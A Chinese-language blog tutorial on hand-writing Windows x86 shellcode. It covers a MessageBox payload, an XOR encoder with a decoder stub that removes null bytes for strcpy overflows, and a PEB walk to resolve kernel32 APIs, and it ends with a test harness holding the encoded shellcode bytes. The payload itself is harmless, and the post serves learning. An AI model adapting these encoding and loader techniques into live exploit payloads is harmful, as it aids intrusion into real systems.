最近学习汇编,顺便学了下一周的Shellcode的编写,有了一些心得。。
第一个Shellcode的编写
#include "stdafx.h"
#include "windows.h"
int _tmain(int argc, _TCHAR* argv[])
{
HANDLE h=LoadLibrary("user32.dll");//此句必不可少,因为MessageBox是由user32.dll导出的
_asm//10个nop
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
_asm
{
push 're'//压入langouster
push 'tsuo'
push 'gnal'
mov eax,esp
push 0 //MessageBox的第一个参数
push eax
push eax
push 0
mov ebx,0x77d5058A//MessageBoxA的地址,不同系统不同补丁下会不同
call ebx
add esp,12
}
_asm//10个nop
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
return 0;
}
编译后EXE文件用UltraEdit打开,搜索“90 90”,找到后发现有两段明显的90 90段,两段之间的内容就是我们想要的ShellCode,自己手动处理一下加个“\x”就行了,如图:
第一个程序提取Shellcode显得麻烦了点,还有一个很致命的问题是Shellcode中含有“00”,这在strcpy溢出时就不能用了,下一步再来写个自动提取程序,顺便把“00”给去了。
#include "stdafx.h"
#define MAX_LEN 1000 //shellcode最大长度 分配此长的空间保存SHELLCODE
//--------------------------------------------------
void ShellCode()
{
_asm//10个nop
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
_asm//shellcode
{
push 're'//压入langouster
push 'tsuo'
push 'gnal'
mov eax,esp
push 0 //MessageBox的第一个参数
push eax
push eax
push 0
mov ebx,0x77d5058A
call ebx
add esp,12
}
_asm//10个nop
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
}
//----------------------------------------------------------------------------------------
int Encode(const unsigned char *pShellCode1,int len,unsigned char *pShellCode2)
{
for(int i=0;i<len;i++)
{
pShellCode2[i]=pShellCode1[i]^ 0x90;
}
return len;
}
void Decode()//解码头
{
_asm//10个nop
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
_asm
{//解码头
jmp end
start:pop eax
mov cl,153//长度
L1: xor byte ptr [eax],90h
inc eax
loop L1
jmp shell
end: call start
shell:
}
_asm//10个nop
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
}
//------------------------------------------------------------------------------------------------------------------
void PrintShellCode(const unsigned char *pShellCode,int len)
{
int i;
for(i=0;i<len;i++)
{
printf("\\x%.2x",pShellCode[i]);
}
}
//--------------------------------------------------------------------------------------------------------------
//提取函数10个NOP之间的内容
//参数1为函数地址 参数2返回内容长度 函数返回内容首地址
unsigned char *GetCode(unsigned char *p,int *len)
{
int i=0;
unsigned char *pShellCode=NULL;
if((*p) == 0xe9)
{
p++;
i=*((int *)p);
p+=i;
}
for(i=0;i<1000;i++)
{
if(memcmp((p+i),"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90",10)==0)
{
if(pShellCode==NULL)
{//前面的10个NOP
pShellCode=p+i+10;//跳过10个NOP
i+=10;
continue;
}
else
{//后面的10个NOP
*len=p-pShellCode+i;
break;
}
}
}
if(pShellCode==NULL || len==0)
{
printf("查找NOP标志出错\r\n");
*len=0;
}
return pShellCode;
}
//--------------------------------------------------------------------------------------
void main()
{
int len1=0,len2=0;
unsigned char *pShellCode=NULL,*pDecode=NULL;
unsigned char ShellCode2[MAX_LEN];
pShellCode=GetCode((unsigned char *)ShellCode,&len1);
if(len1>0)
{
printf("原始ShellCode(len=%d):\r\n",len1);
PrintShellCode(pShellCode,len1);
printf("\r\n");
}
pDecode=GetCode((unsigned char *)Decode,&len2);
if(len2>0)
{
printf("Decode(len=%d):\r\n",len2);
PrintShellCode(pDecode,len2);
printf("\r\n");
memcpy(ShellCode2,pDecode,len2);
len1=Encode(pShellCode,len1,ShellCode2+len2);
printf("加密Shellcode(len=%d)\r\n",len1+len2);
PrintShellCode(ShellCode2,len1+len2);
printf("\r\n");
}
}
在这个程序中,它自动在内存中找“90 90”,然后提取出来,再使每一个字节与一个数(这里是0x90)异或形成编码后的SHELLCODE,它已经没有“00”了,但是编码后的shellcode是不能直接运行的,这样就必须在shellcode的前面加一个译码头,也就是Decode中的内容。提取问题解决了,但我们还有一个更棘手的问题,读者可能也发现了我们的shellcode中采用了硬编码的方法把MessageBoxA的地址固定下来了,这样做的直接后果是我的系统下能执行的shellcode到了你那可能就不能执行了。接下来我们就来解决这人问题,我们知道只要知道了loadlibrary和GetProAdderss的地址就可以确定任意一个函数的地址,而这两个函数都是在kernel32.dll文件中导出的,又因为这个DLL是几乎每一个程序都必须的,所以我们只要知道了kernel32.dll在内存中的地址就可以搞定一切了,幸运的是根据PEB(进程环境块)就可以确定它的地址,完整的shellcode代码如下,用下面的shellcode代替上面程序中的shellcode即可:
_asm//shellcode
{
mov eax, fs:0x30 ;PEB
mov eax, [eax + 0x0c] ;Ldr
mov esi, [eax + 0x1c] ;Flink
lodsd
mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址
mov eax, [edi+3Ch] ;eax = PE首部
mov edx,[edi+eax+78h]
add edx,edi ;edx = 输出表地址
mov ecx,[edx+18h] ;ecx = 输出函数的个数
mov ebx,[edx+20h]
add ebx,edi ;ebx =函数名地址,AddressOfName
//----------------------------------------------------获取loadlibraryA和GetProAdderss的地址
//ebx 函数名地址
//edx 输出表地址
//执行后先将loadlibraryA压栈 再压GetProAdderss
search: dec ecx
jz End
mov esi,[ebx+ecx*4]
add esi,edi
//查找 GetProAdderss
//cmp dword ptr [esi],'PteG' 开头四字不具特殊性可以不比较
//jne Lable2
cmp dword ptr [esi+4],'Acor'
jne Lable2
Lable1:
mov eax,[edx+1Ch]
add eax,edi ;eax = 函数地址的起始位置,AddressOfFunction
mov eax,[eax+ecx*4]
add eax,edi ;利用索引值,计算出GetProcAddress的地址
push eax//保存函数地址
jmp search
//查找loadlibraryA
Lable2: cmp dword ptr [esi],'daoL'//只要首尾各四个就可确定函数
jne search
//cmp dword ptr [esi+4],'rbiL'
//jne search
cmp dword ptr [esi+8],'Ayra'
je Lable1
jmp search
End:
//-------------------------------------------------------------------------------ShellCode正式内容
pop ebx//getproaddress地址
pop edx//loadlibrary地址
push 'll' //user32.dll
push 'd.23'
push 'resu'
mov ecx,esp
push ecx
call edx //载入user32.dll
push 'Axo' //MessageBoxA
push 'Bega'
push 'sseM'
mov ecx,esp
push ecx
push eax
call ebx//得到MessageBox的地址
push 're'//压入langouster
push 'tsuo'
push 'gnal'
mov ecx,esp
push 0
push ecx
push ecx
push 0
call eax
add esp,36
}
为大家测试方便,这里再给出一个Shellcode的测试程序。
#include "stdafx.h"
void main()
{
char shellcode[]="\xeb\x0b\x58\xb1\x99\x80\x30\x90\x40\xe2\xfa\xeb\x05\xe8\xf0\xff\xff\xff\xf4\x31\xa0\x90\x90\x90\x1b\xd0\x9c\x1b\xe0\x8c\x3d\x1b\xe8\x98\x1b\xd7\xac\x1b\xc4\x97\xe8\x93\x47\x1b\xda\x88\x1b\xca\xb0\x93\x4f\xd9\xe4\xbe\x1b\xa4\x1b\x93\x67\x11\xee\x94\xe2\xff\xf3\xd1\xe5\x9d\x1b\xd2\x8c\x93\x57\x1b\x94\x18\x93\x57\xc0\x7b\x72\x11\xae\xdc\xff\xf1\xf4\xe5\x4a\x11\xee\x98\xf1\xe2\xe9\xd1\xe4\x72\x7b\x5f\xcb\xca\xf8\xfc\xfc\x90\x90\xf8\xa3\xa2\xbe\xf4\xf8\xe5\xe3\xf5\xe2\x1b\x5c\xc1\x6f\x42\xf8\xff\xe8\xd1\x90\xf8\xf1\xf7\xf5\xd2\xf8\xdd\xf5\xe3\xe3\x1b\x5c\xc1\xc0\x6f\x43\xf8\xf5\xe2\x90\x90\xf8\xff\xe5\xe3\xe4\xf8\xfc\xf1\xfe\xf7\x1b\x5c\xfa\x90\xc1\xc1\xfa\x90\x6f\x40\x13\x54\xb4";
__asm
{
lea eax,shellcode
jmp eax
}
}
执行结果: